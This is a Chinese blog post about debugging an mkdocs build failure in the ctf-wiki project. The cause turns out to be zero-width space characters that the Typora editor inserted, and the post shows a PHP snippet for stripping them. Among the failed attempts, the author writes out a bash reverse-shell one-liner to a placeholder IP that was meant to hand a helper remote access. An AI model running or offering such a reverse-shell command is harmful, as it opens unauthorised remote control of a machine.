问题描述:

我在修改 ctf-wiki 目录后进行 mkdocs build 去生成索引目录的时候报错:

然后我尝试定位到第 2 行和第 288 行,这些行我似乎并没有修改过啊。

未果,开始去找师傅解决。

解决方案探索:

由于我不太懂 mkdocs 的运行机制,这个时候肯定是需要找刘师傅了。

方案一、 mkdocsclean 缓存。

似乎这个想法是行不通了,不是根本原因。

方案二、改目录

我们开始猜想是不是路径中有中文的锅,改一下路径,未果。

方案三、反弹 shell

弄不出来了,我直接反弹一个 shell 给刘师傅。

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1

似乎师傅觉得权限太小了,然后不让弄了23333,未果。

方案四、重新clone一遍

一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。

方案五、 git diff 定位源码

使用 git diff 看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。

探索:

既然有点眉头了,我们开始猜测是不是 tab 和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora 修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。

开始尝试:

vim 去查看下目录文件,事情果然不简单:

这个 <200b> 是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。

特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space(零宽空格) ,是一种不可打印的 Unicode 字符,用于可能需要换行处。

简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!

什么叫没有宽度?就是如果 2 个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。

这种字符在高级编辑器中都是看不见这个符号的,只有 VIM 这种古老的编辑器才能看到。

有关这种特殊字元存在以下三种形式:

Unicode code point character UTF-8 (in literal) name
U+200B \xe2\x80\x8b ZERO WIDTH SPACE
U+200C \xe2\x80\x8c ZERO WIDTH NON-JOINER
U+200D \xe2\x80\x8d ZERO WIDTH JOINER

我们在写入文件中应该用以下语法去过滤这三种字符:

// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);

扩展:

【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space的更多相关文章

  1. 解决托管在Windows上的Stash的Pull request无法合并的问题

    最近尝试合并一个托管在Windows的Stash系统中的pull request时,发现合并按钮被禁用,显示有冲突不能合并,但是在diff页面中没有现实冲突,而且代码实际上并没有任何冲突. 后来在这篇 ...

  2. 庆祝下,提交了第一个ceph pull request。实现了从0到1的突破

    庆祝一下!经过社区老司机的带路,昨天提交了第一个ceph pull request.实现了从0到1的突破,希望再接再厉提交更多代码到社区,为社区发展贡献一点自己力量. 提交的第一个被社区fix的bug ...

  3. github的pull request是指什么意思?有什么用处

    github的pull request是指什么意思? 来看看某乎某位阿牛的理解,多么的简单粗暴! 我尝试用类比的方法来解释一下 pull reqeust.想想我们中学考试,老师改卷的场景吧.你做的试卷 ...

  4. git pull request

    如何发 PR 以下以 wiki-pages 为例 把项目 fork 到自己名下,然后 clone 到本地 git clone git@code.xiaojukeji.com:yexiliang/wik ...

  5. 使用 VisualCode + iTerm2 提交github的Pull Request

    VisualCode集成github功能,是程序猿参与开源项目的利器.相比Sublime简单了很多(插件安装繁琐,比如你试试在Sublime2 安装gosublime,这里有坑; Sublime 3修 ...

  6. git 上的pull request 是什么意思?

    1.git 上有常见的pull request 功能 2.pull request 的含义 解释一:    有一个仓库,叫Repo A.你如果要往里贡献代码,首先要Fork这个Repo,于是在你的Gi ...

  7. Git工作流指南:Pull Request工作流

    参考地址:http://blog.jobbole.com/76854/ Pull Requests是Bitbucket上方便开发者之间协作的功能.提供了一个用户友好的Web界面,在集成提交的变更到正式 ...

  8. (转载)新手如何正确理解GitHub中“PR(pull request)”中的意思

    我从知乎看到的两个答案,分别从实际意义以及语言学角度告诉你改怎么理解PR,很简洁,这个理解非常棒,会解决新手刚看到PR(pull request)这个词时的困惑.   实际意义:   有一个仓库,叫R ...

  9. dragloader.js帮助你在页面原生滚动下实现Pull Request操作

    dragloader.js是一个面向移动Web开发的JavaScript库,帮助开发者在使用页面原生滚动时,模拟上/下拉手势,实现Pull Request操作. 在移动设备上,一般会使用 drag d ...

随机推荐

  1. Orchard详解--第八篇 拓展模块及引用的预处理

    从上一篇可以看出Orchard在处理拓展模块时主要有两个组件,一个是Folder另一个是Loader,前者用于搜索后者用于加载. 其中Folder一共有三个:Module Folder.Core Fo ...

  2. shell编程-test命令(七)

    test命令常用作检查某些条件是否成立. 数值测试 -eq:检测两个数是否相等,相等返回true -ne:检测两个数是否相等,不相等返回true -gt:检测左边的数是否大于右边,是则返回true - ...

  3. 获取Bing每日图片API接口

    bing图片每日更新,对于这一点感觉挺不错的,如果能够把bing每日图片作为博客背景是不是很不错呢?首先我们进入Bing首页,会发现自动转到中国版.不过这没关系,中国版更符合国情,速度也比国际版快一些 ...

  4. jsp include 报错:illegal to have multiple occurrences of contentType with different values (old: text/html; charset=UTF-8, new: text/html; carset=UTF-8)

    严重: Servlet.service() for servlet jsp threw exception org.apache.jasper.JasperException: /jsp.jsp(1, ...

  5. PATH_SEPARATOR

    PATH_SEPARATOR是一个常量,在Linux系统中是一个" : "号,Windows上是一个";"号.所以编写程序时最好用常量 PATH_SEPARAT ...

  6. 聚类——GAKFCM的matlab程序

    聚类——GAKFCM的matlab程序 作者:凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ 在聚类——GAKFCM文章中已介绍了GAKFCM算法的理论知识, ...

  7. ES5-ES6-ES7_Generator 函数

    Generator函数的概述 Generator 函数是 ES6 提供的一种异步编程解决方案 Generator函数指的是一种新的语法结构,是一个遍历器对象生成器,它内部可以封装多个状态,很适合用于异 ...

  8. UVA1626-Brackets sequence(动态规划基础)

    Problem UVA1626-Brackets sequence Time Limit: 4500 mSec Problem Description Input The input begins w ...

  9. UVA524-Prime Ring Problem(搜索剪枝)

    Problem UVA524-Prime Ring Problem Accept:6782  Submit:43814 Time Limit: 3000 mSec  Problem Descripti ...

  10. Linux中的update和upgrade的区别

    update是更新源里的软件列表 upgrade顾名思义是升级,升级你系统里的软件